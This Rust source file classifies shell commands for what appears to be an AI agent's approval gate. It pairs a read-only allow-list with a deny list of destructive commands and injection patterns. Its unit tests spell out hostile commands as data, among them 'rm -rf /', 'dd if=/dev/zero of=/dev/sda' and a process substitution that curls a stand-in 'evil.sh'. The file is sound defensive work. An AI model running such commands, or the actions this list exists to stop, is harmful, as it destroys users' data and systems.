use crate::tools::ToolEffect;
const READ_ONLY_PREFIXES: &[&str] = &[
"cat ",
"head ",
"tail ",
"less ",
"more ",
"wc ",
"file ",
"stat ",
"bat ",
"ls",
"tree",
"du ",
"df",
"pwd",
"grep ",
"rg ",
"ag ",
"find ",
"fd ",
"fzf",
"echo ",
"printf ",
"whoami",
"hostname",
"uname",
"date",
"which ",
"type ",
"command -v ",
"printenv",
"rustc --version",
"node --version",
"npm --version",
"python --version",
"python3 --version",
"git status",
"git log",
"git diff",
"git branch",
"git show",
"git remote",
"git stash list",
"git tag",
"git describe",
"git rev-parse",
"git ls-files",
"git blame",
"docker ps",
"docker images",
"docker logs",
"docker compose ps",
"docker compose logs",
"sort ",
"uniq ",
"cut ",
"awk ",
"sed ",
"tr ",
"diff ",
"jq ",
"yq ",
"dirname ",
"basename ",
"realpath ",
"readlink ",
"tput ",
"true",
"false",
"test ",
"[ ",
"gh issue view",
"gh issue list",
"gh issue status",
"gh pr view",
"gh pr list",
"gh pr status",
"gh pr checks",
"gh pr diff",
"gh repo view",
"gh repo clone",
"gh release list",
"gh release view",
"gh run view",
"gh run list",
"gh run watch",
];
#[derive(Debug, Clone, Copy)]
enum DangerCheck {
Cmd(&'static str),
CmdFlag(&'static str, &'static str),
CmdSub(&'static str, &'static str),
CmdSubFlag(&'static str, &'static str, &'static str),
CmdSubSub(&'static str, &'static str, &'static str),
}
fn flag_matches(t: &str, flag: &str) -> bool {
if t == flag {
return true;
}
if flag.len() == 2 && flag.starts_with('-') && t.starts_with('-') && !t.starts_with("--") {
let ch = flag.chars().nth(1).unwrap();
return t[1..].contains(ch);
}
false
}
impl DangerCheck {
fn matches(&self, tokens: &[String]) -> bool {
use DangerCheck::*;
let Some(cmd) = tokens.first() else {
return false;
};
match *self {
Cmd(c) => cmd == c,
CmdFlag(c, flag) => cmd == c && tokens[1..].iter().any(|t| flag_matches(t, flag)),
CmdSub(c, sub) => cmd == c && tokens.get(1).map(|s| s.as_str()) == Some(sub),
CmdSubFlag(c, sub, flag) => {
cmd == c
&& tokens.get(1).map(|s| s.as_str()) == Some(sub)
&& tokens[2..].iter().any(|t| flag_matches(t, flag))
}
CmdSubSub(c, sub, sub2) => {
cmd == c
&& tokens.get(1).map(|s| s.as_str()) == Some(sub)
&& tokens.get(2).map(|s| s.as_str()) == Some(sub2)
}
}
}
}
const DANGER_CHECKS: &[DangerCheck] = &[
DangerCheck::Cmd("rm"),
DangerCheck::Cmd("rmdir"),
DangerCheck::Cmd("sudo"),
DangerCheck::Cmd("su"),
DangerCheck::Cmd("dd"),
DangerCheck::Cmd("mkfs"),
DangerCheck::Cmd("fdisk"),
DangerCheck::Cmd("chmod"),
DangerCheck::Cmd("chown"),
DangerCheck::Cmd("kill"),
DangerCheck::Cmd("killall"),
DangerCheck::Cmd("pkill"),
DangerCheck::Cmd("eval"),
DangerCheck::Cmd("reboot"),
DangerCheck::Cmd("shutdown"),
DangerCheck::Cmd("halt"),
DangerCheck::CmdFlag("sed", "-i"),
DangerCheck::CmdFlag("sed", "--in-place"),
DangerCheck::CmdFlag("find", "-delete"),
DangerCheck::CmdFlag("find", "-exec"),
DangerCheck::CmdFlag("find", "-execdir"),
DangerCheck::CmdFlag("find", "-ok"),
DangerCheck::CmdFlag("find", "-okdir"),
DangerCheck::CmdFlag("find", "-fprint"),
DangerCheck::CmdFlag("find", "-fprintf"),
DangerCheck::CmdFlag("find", "-fls"),
DangerCheck::CmdFlag("python", "-c"),
DangerCheck::CmdFlag("python3", "-c"),
DangerCheck::CmdFlag("perl", "-e"),
DangerCheck::CmdFlag("ruby", "-e"),
DangerCheck::CmdFlag("node", "-e"),
DangerCheck::CmdFlag("sh", "-c"),
DangerCheck::CmdFlag("bash", "-c"),
DangerCheck::CmdFlag("zsh", "-c"),
DangerCheck::CmdSub("npm", "publish"),
DangerCheck::CmdSub("cargo", "publish"),
DangerCheck::CmdSubFlag("git", "push", "-f"),
DangerCheck::CmdSubFlag("git", "push", "--force"),
DangerCheck::CmdSubFlag("git", "reset", "--hard"),
DangerCheck::CmdSubFlag("git", "clean", "-f"), DangerCheck::CmdSubSub("gh", "pr", "merge"),
DangerCheck::CmdSubSub("gh", "issue", "delete"),
DangerCheck::CmdSubSub("gh", "repo", "delete"),
DangerCheck::CmdSubSub("gh", "release", "delete"),
DangerCheck::CmdSub("gh", "api"),
DangerCheck::CmdSub("gh", "auth"),
];
const RAW_DANGER_PATTERNS: &[&str] = &[
"$(", "`", "<(", ">(", "| sh", "| bash", "| zsh", "> /dev/", "(){", "() {",
];
pub fn classify_bash_command(command: &str) -> ToolEffect {
let trimmed = command.trim();
if trimmed.is_empty() {
return ToolEffect::ReadOnly;
}
let unquoted = strip_quoted_strings(trimmed);
for pat in RAW_DANGER_PATTERNS {
if unquoted.contains(pat) {
return ToolEffect::Destructive;
}
}
if has_write_side_effect(trimmed) {
return ToolEffect::LocalMutation;
}
let segments = split_command_segments(trimmed);
let mut worst = ToolEffect::ReadOnly;
for seg in &segments {
let effect = classify_segment(seg);
match effect {
ToolEffect::Destructive => return ToolEffect::Destructive,
ToolEffect::LocalMutation => worst = ToolEffect::LocalMutation,
_ => {}
}
}
worst
}
fn classify_segment(segment: &str) -> ToolEffect {
let seg = strip_env_vars(segment.trim());
let seg = strip_redirections(&seg);
let seg = seg
.trim()
.trim_start_matches(['(', '{'])
.trim_end_matches([')', '}', ';'])
.trim()
.to_string();
if seg.is_empty() {
return ToolEffect::ReadOnly;
}
let tokens = match shlex::split(&seg) {
Some(t) if !t.is_empty() => t,
_ => return ToolEffect::LocalMutation,
};
for check in DANGER_CHECKS {
if check.matches(&tokens) {
return ToolEffect::Destructive;
}
}
let canonical = tokens.join(" ");
if matches_prefix_list(&canonical, READ_ONLY_PREFIXES) {
ToolEffect::ReadOnly
} else {
ToolEffect::LocalMutation
}
}
fn has_write_side_effect(command: &str) -> bool {
let chars: Vec<char> = command.chars().collect();
let mut in_sq = false;
let mut in_dq = false;
let mut i = 0;
while i < chars.len() {
let c = chars[i];
if c == '\'' && !in_dq {
in_sq = !in_sq;
} else if c == '"' && !in_sq {
in_dq = !in_dq;
} else if !in_sq && !in_dq && c == '>' {
let before = if i > 0 { chars[i - 1] } else { ' ' };
if before == '&' {
i += 1;
continue;
}
let after: String = chars[i + 1..].iter().collect();
let after_trimmed = after.trim_start();
if after_trimmed.starts_with("/dev/null")
|| after_trimmed.starts_with("&1")
|| after_trimmed.starts_with("&2")
{
i += 1;
continue;
}
return true;
}
i += 1;
}
let segments = split_command_segments(command);
for (idx, seg) in segments.iter().enumerate() {
if idx > 0 {
let t = seg.trim();
if t.starts_with("tee ") || t == "tee" {
return true;
}
}
}
false
}
fn matches_prefix_list(seg: &str, prefixes: &[&str]) -> bool {
for prefix in prefixes {
let bare = prefix.trim_end();
if seg == bare
|| seg.starts_with(&format!("{bare} "))
|| seg.starts_with(&format!("{bare}\t"))
{
return true;
}
}
false
}
pub fn split_command_segments(command: &str) -> Vec<&str> {
let mut segments = Vec::new();
let mut start = 0;
let chars: Vec<char> = command.chars().collect();
let mut i = 0;
let mut in_single_quote = false;
let mut in_double_quote = false;
while i < chars.len() {
let c = chars[i];
if c == '\'' && !in_double_quote {
in_single_quote = !in_single_quote;
} else if c == '"' && !in_single_quote {
in_double_quote = !in_double_quote;
} else if !in_single_quote && !in_double_quote {
let sep_len = if (c == '|' || c == '&') && i + 1 < chars.len() && chars[i + 1] == c {
2 } else if c == '|' || c == ';' {
1
} else {
0
};
if sep_len > 0 {
segments.push(&command[start..i]);
i += sep_len;
start = i;
continue;
}
}
i += 1;
}
if start < chars.len() {
segments.push(&command[start..]);
}
segments
}
pub fn strip_quoted_strings(s: &str) -> String {
let mut result = String::with_capacity(s.len());
let mut chars = s.chars().peekable();
while let Some(c) = chars.next() {
if c == '\'' {
result.push(c);
let mut found_close = false;
for inner in chars.by_ref() {
if inner == '\'' {
result.push(c);
found_close = true;
break;
}
result.push(' ');
}
let _ = found_close;
} else if c == '"' {
result.push(c);
let mut found_close = false;
while let Some(inner) = chars.next() {
if inner == '\\' {
result.push(' ');
if chars.next().is_some() {
result.push(' ');
}
continue;
}
if inner == '"' {
result.push(c);
found_close = true;
break;
}
result.push(' ');
}
let _ = found_close;
} else {
result.push(c);
}
}
result
}
pub fn strip_env_vars(segment: &str) -> String {
let mut rest = segment;
loop {
let trimmed = rest.trim_start();
if let Some(eq_pos) = trimmed.find('=') {
let before_eq = &trimmed[..eq_pos];
if !before_eq.is_empty()
&& before_eq
.chars()
.all(|c| c.is_ascii_alphanumeric() || c == '_')
{
let after_eq = &trimmed[eq_pos + 1..];
if let Some(space_pos) = find_unquoted_space(after_eq) {
rest = &after_eq[space_pos..];
continue;
}
}
}
return trimmed.to_string();
}
}
fn strip_redirections(segment: &str) -> String {
let mut result = segment.to_string();
for pat in ["2>&1", "2>/dev/null", ">/dev/null", "</dev/null"] {
result = result.replace(pat, "");
}
result
}
fn find_unquoted_space(s: &str) -> Option<usize> {
let mut in_sq = false;
let mut in_dq = false;
for (i, c) in s.chars().enumerate() {
match c {
'\'' if !in_dq => in_sq = !in_sq,
'"' if !in_sq => in_dq = !in_dq,
' ' | '\t' if !in_sq && !in_dq => return Some(i),
_ => {}
}
}
None
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_flag_matches_exact() {
assert!(flag_matches("-i", "-i"));
assert!(flag_matches("--force", "--force"));
assert!(!flag_matches("-n", "-i"));
assert!(!flag_matches("--force", "-f"));
}
#[test]
fn test_flag_matches_combined_short() {
assert!(flag_matches("-fd", "-f"));
assert!(flag_matches("-fdc", "-f"));
assert!(!flag_matches("-nd", "-f"));
assert!(!flag_matches("--force", "-f"));
}
#[test]
fn test_danger_check_cmd() {
let t = |s: &str| s.to_string();
let rm = vec![t("rm"), t("-rf"), t("/")];
assert!(DangerCheck::Cmd("rm").matches(&rm));
assert!(!DangerCheck::Cmd("ls").matches(&rm));
}
#[test]
fn test_danger_check_cmd_flag() {
let t = |s: &str| s.to_string();
let sed_i = vec![t("sed"), t("-i"), t("s/a/b/")];
assert!(DangerCheck::CmdFlag("sed", "-i").matches(&sed_i));
assert!(!DangerCheck::CmdFlag("sed", "--in-place").matches(&sed_i));
}
#[test]
fn test_danger_check_combined_flag() {
let t = |s: &str| s.to_string();
let git_clean_fd = vec![t("git"), t("clean"), t("-fd")];
assert!(DangerCheck::CmdSubFlag("git", "clean", "-f").matches(&git_clean_fd));
let git_clean_n = vec![t("git"), t("clean"), t("-nd")];
assert!(!DangerCheck::CmdSubFlag("git", "clean", "-f").matches(&git_clean_n));
}
#[test]
fn test_danger_check_cmd_sub_sub() {
let t = |s: &str| s.to_string();
let merge = vec![t("gh"), t("pr"), t("merge"), t("42")];
assert!(DangerCheck::CmdSubSub("gh", "pr", "merge").matches(&merge));
assert!(!DangerCheck::CmdSubSub("gh", "pr", "view").matches(&merge));
}
#[test]
fn test_split_pipe() {
let segs = split_command_segments("cat file | grep pattern");
assert_eq!(segs.len(), 2);
assert_eq!(segs[0].trim(), "cat file");
assert_eq!(segs[1].trim(), "grep pattern");
}
#[test]
fn test_split_chain_and_semicolon() {
assert_eq!(split_command_segments("cargo build && cargo test").len(), 2);
assert_eq!(split_command_segments("echo a; echo b; echo c").len(), 3);
}
#[test]
fn test_split_respects_quotes() {
let segs = split_command_segments("echo 'a | b' | grep x");
assert_eq!(segs.len(), 2);
assert!(segs[0].contains("'a | b'"));
}
#[test]
fn test_strip_quoted_backslash_escaped() {
assert_eq!(
strip_quoted_strings(r#"echo "it\"s fine" ; ls"#),
r#"echo " " ; ls"#,
);
let stripped = strip_quoted_strings(r#"echo "safe\" ; rm -rf /""#);
assert!(!stripped.contains("rm -rf"));
}
#[test]
fn test_strip_env_vars_basic() {
assert_eq!(strip_env_vars("FOO=bar cargo build"), "cargo build");
assert_eq!(strip_env_vars("ls -la"), "ls -la");
}
#[test]
fn test_matches_prefix_list_bare_command() {
let prefixes = &["sort ", "wc ", "uniq ", "cat ", "grep "];
for cmd in ["sort", "wc", "uniq", "cat", "grep"] {
assert!(
matches_prefix_list(cmd, prefixes),
"bare `{cmd}` should match the prefix list"
);
}
}
#[test]
fn test_matches_prefix_list_with_args() {
let prefixes = &["sort ", "wc ", "grep "];
for cmd in ["sort -u", "wc -l", "grep -i foo"] {
assert!(matches_prefix_list(cmd, prefixes), "`{cmd}` should match");
}
}
#[test]
fn test_matches_prefix_list_tab_separator() {
let prefixes = &["sort "];
assert!(matches_prefix_list("sort\t-u", prefixes));
}
#[test]
fn test_matches_prefix_list_no_substring_false_positive() {
let prefixes = &["sort ", "cat ", "ls"];
for cmd in ["sortfoo", "catalogue", "lsof", "sortir"] {
assert!(
!matches_prefix_list(cmd, prefixes),
"`{cmd}` must not match (substring false-positive)"
);
}
}
#[test]
fn test_classify_bare_pipeline_tail_is_read_only() {
let cases = [
"sort",
"ls | sort",
"echo hi | wc",
"cat file | uniq",
"grep -c \"^pub fn find_matches\" src/properties/*.rs | sort",
"echo hi | cat",
"echo hi | head",
"echo hi | tail",
"echo hi | sed",
"echo hi | awk",
"echo hi | tr",
"echo hi | jq",
"ls | wc",
"find . | sort | uniq",
];
for cmd in cases {
assert_eq!(
classify_bash_command(cmd),
ToolEffect::ReadOnly,
"`{cmd}` should classify as ReadOnly",
);
}
}
#[test]
fn test_classify_pipeline_tail_with_args_still_read_only() {
let cases = [
"ls | sort -u",
"echo hi | wc -l",
"cat file | uniq -c",
"find . | head -20",
"git log | grep WIP",
];
for cmd in cases {
assert_eq!(
classify_bash_command(cmd),
ToolEffect::ReadOnly,
"`{cmd}` should classify as ReadOnly",
);
}
}
#[test]
fn test_classify_mutating_pipeline_tail_not_read_only() {
for cmd in [
"echo content | tee output.txt",
"echo content | tee",
"ls > files.txt",
] {
assert_ne!(
classify_bash_command(cmd),
ToolEffect::ReadOnly,
"`{cmd}` must not be ReadOnly (has write side effect)",
);
}
}
#[test]
fn test_classify_bare_unknown_command_not_read_only() {
for cmd in ["cargo", "npm", "make", "docker"] {
assert_ne!(
classify_bash_command(cmd),
ToolEffect::ReadOnly,
"bare `{cmd}` must not be misclassified as ReadOnly",
);
}
}
#[test]
fn test_classify_xargs_with_destructive_inner_not_read_only() {
for cmd in [
"ls | xargs rm",
"find . -name '*.tmp' | xargs rm",
"echo file | xargs rm -rf",
"ls | xargs mv -t /tmp",
"echo a b c | xargs cp -t /backup",
] {
assert_ne!(
classify_bash_command(cmd),
ToolEffect::ReadOnly,
"`{cmd}` must NOT be ReadOnly — xargs runs the inner command",
);
}
}
#[test]
fn test_classify_xargs_with_read_only_inner_still_not_auto_approved() {
for cmd in ["ls | xargs grep foo", "ls | xargs cat", "ls | xargs wc"] {
assert_ne!(
classify_bash_command(cmd),
ToolEffect::ReadOnly,
"`{cmd}` should require approval — xargs is opaque to the classifier",
);
}
}
#[test]
fn test_classify_non_xargs_pipelines_still_read_only() {
for cmd in [
"ls | grep foo",
"cat file | sort | uniq",
"find . | head -20",
"git log | grep WIP",
] {
assert_eq!(
classify_bash_command(cmd),
ToolEffect::ReadOnly,
"`{cmd}` should still be ReadOnly",
);
}
}
#[test]
fn test_classify_env_with_inner_command_not_read_only() {
for cmd in [
"env cargo build",
"env make install",
"env FOO=bar rm file",
"env PATH=/tmp ls /",
"env -i bash",
] {
assert_ne!(
classify_bash_command(cmd),
ToolEffect::ReadOnly,
"`{cmd}` must NOT be ReadOnly — env runs the inner command",
);
}
}
#[test]
fn test_classify_bare_env_requires_approval_printenv_does_not() {
assert_ne!(
classify_bash_command("env"),
ToolEffect::ReadOnly,
"bare `env` now requires approval (use `printenv` instead)",
);
assert_eq!(
classify_bash_command("printenv"),
ToolEffect::ReadOnly,
"`printenv` is the read-only alternative",
);
assert_eq!(
classify_bash_command("printenv PATH"),
ToolEffect::ReadOnly,
"`printenv VAR` reads a single var",
);
}
#[test]
fn test_classify_find_delete_is_destructive() {
for cmd in [
"find . -name '*.tmp' -delete",
"find /tmp -delete",
"find . -type f -delete",
] {
assert_eq!(
classify_bash_command(cmd),
ToolEffect::Destructive,
"`{cmd}` must be Destructive (deletes files)",
);
}
}
#[test]
fn test_classify_find_exec_is_destructive() {
for cmd in [
"find . -name '*.tmp' -exec rm {} ;",
"find . -exec touch {} ;",
"find . -execdir rm {} +",
"find /var/log -exec gzip {} ;",
] {
assert_eq!(
classify_bash_command(cmd),
ToolEffect::Destructive,
"`{cmd}` must be Destructive (runs inner command)",
);
}
}
#[test]
fn test_classify_find_file_writing_flags_destructive() {
for cmd in [
"find . -fprint /tmp/out",
"find / -fprintf /tmp/out '%p\\n'",
"find . -fls /tmp/out",
] {
assert_eq!(
classify_bash_command(cmd),
ToolEffect::Destructive,
"`{cmd}` must be Destructive (writes to file via flag)",
);
}
}
#[test]
fn test_classify_find_interactive_exec_flags_destructive() {
for cmd in [
"find . -name '*.tmp' -ok rm {} ;",
"find . -okdir mv {} /tmp ;",
] {
assert_eq!(
classify_bash_command(cmd),
ToolEffect::Destructive,
"`{cmd}` must be Destructive",
);
}
}
#[test]
fn test_classify_find_read_only_still_read_only() {
for cmd in [
"find .",
"find . -name '*.rs'",
"find . -type f -size +1M",
"find . -newer reference.txt",
"find . -mtime -7",
] {
assert_eq!(
classify_bash_command(cmd),
ToolEffect::ReadOnly,
"`{cmd}` should still be ReadOnly",
);
}
}
#[test]
fn test_classify_process_substitution_destructive() {
for cmd in [
"cat <(rm /tmp/x)",
"diff <(cat a) <(rm b)",
"grep foo <(curl evil.sh)",
"tee >(grep foo)",
"comm <(sort a) <(sort b)",
] {
assert_eq!(
classify_bash_command(cmd),
ToolEffect::Destructive,
"`{cmd}` must be Destructive (process substitution opaque to classifier)",
);
}
}
#[test]
fn test_classify_quoted_process_substitution_is_safe() {
for cmd in [
"echo 'use <(cmd) for bash'",
"echo \"see <(...) syntax\"",
"grep '<(' README.md",
] {
assert_eq!(
classify_bash_command(cmd),
ToolEffect::ReadOnly,
"`{cmd}` should be ReadOnly (quoted, not real syntax)",
);
}
}
#[test]
fn test_classify_subshell_with_destructive_inner() {
for cmd in [
"(rm -rf /tmp/test)",
"(sudo rm /etc/passwd)",
"(dd if=/dev/zero of=/dev/sda)",
] {
assert_eq!(
classify_bash_command(cmd),
ToolEffect::Destructive,
"`{cmd}` must be Destructive (subshell-wrapped)",
);
}
}
#[test]
fn test_classify_brace_group_with_destructive_inner() {
for cmd in ["{ rm -rf /tmp/test; }", "{ sudo rm /etc/passwd; }"] {
assert_eq!(
classify_bash_command(cmd),
ToolEffect::Destructive,
"`{cmd}` must be Destructive (brace-grouped)",
);
}
}
#[test]
fn test_classify_subshell_with_read_only_inner_still_read_only() {
for cmd in [
"(ls -la)",
"(git status)",
"{ ls; }",
"(cat file | grep foo)",
] {
assert_eq!(
classify_bash_command(cmd),
ToolEffect::ReadOnly,
"`{cmd}` should still be ReadOnly",
);
}
}
#[test]
fn test_classify_pipeline_with_subshell_destructive_segment() {
for cmd in [
"echo hi && (rm -rf /tmp/test)",
"ls; (rm /tmp/x)",
"true || (sudo rm /etc/foo)",
] {
assert_eq!(
classify_bash_command(cmd),
ToolEffect::Destructive,
"`{cmd}` must be Destructive (subshell segment)",
);
}
}
}